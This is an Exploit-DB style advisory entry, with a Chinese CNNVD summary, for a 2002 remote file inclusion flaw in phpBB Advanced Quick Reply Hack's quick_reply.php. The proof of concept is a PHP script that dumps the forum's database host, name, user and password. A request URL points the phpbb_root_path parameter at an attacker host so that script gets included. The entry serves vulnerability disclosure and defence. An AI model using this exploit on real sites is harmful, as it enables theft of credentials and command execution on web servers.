https://www.exploit-db.com/exploits/22017
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200212-506

phpBBAdvancedQuickReplyHack1.0.0版本和1.1.0版本的quick_reply.php存在PHP远程文件包含漏洞。远程攻击者可以借助phpbb_root_path参数执行任意PHP代码。

source: http://www.securityfocus.com/bid/6173/info

The phpBB Advanced Quick Reply Hack is prone to an issue which may allow attackers to include arbitrary files from a remote server.

It is possible for remote attackers to influence the include path for 'extension.inc' in the 'quick_reply.php' script. As a result, an attacker may cause an arbitrary PHP script to be included from an attacker-supplied source, which may result in execution of commands with the privileges of the webserver. 

<?php
include('config'.'.php');
echo "DB Type: $dbms <br>";
echo "DB Host: $dbhost <br>";
echo "DB Name: $dbname <br>";
echo "DB User: $dbuser <br>";
echo "DB Pass: $dbpasswd <br>";
exit;
?>

Then submit the following request to the host running the vulnerable software:

http://www.example.com/quick_reply.php?phpbb_root_path=http://attackersite.tld/&mode=smilies

来源:XF
名称:phpbb-quickreply-file-include(10617)
链接:http://xforce.iss.net/xforce/xfdb/10617
来源:BID
名称:6173
链接:http://www.securityfocus.com/bid/6173
来源:BUGTRAQ
名称:20021113CodeInjectioninphpBBAdvancedQuickReplyMod
链接:http://archives.neohapsis.com/archives/bugtraq/2002-11/0188.html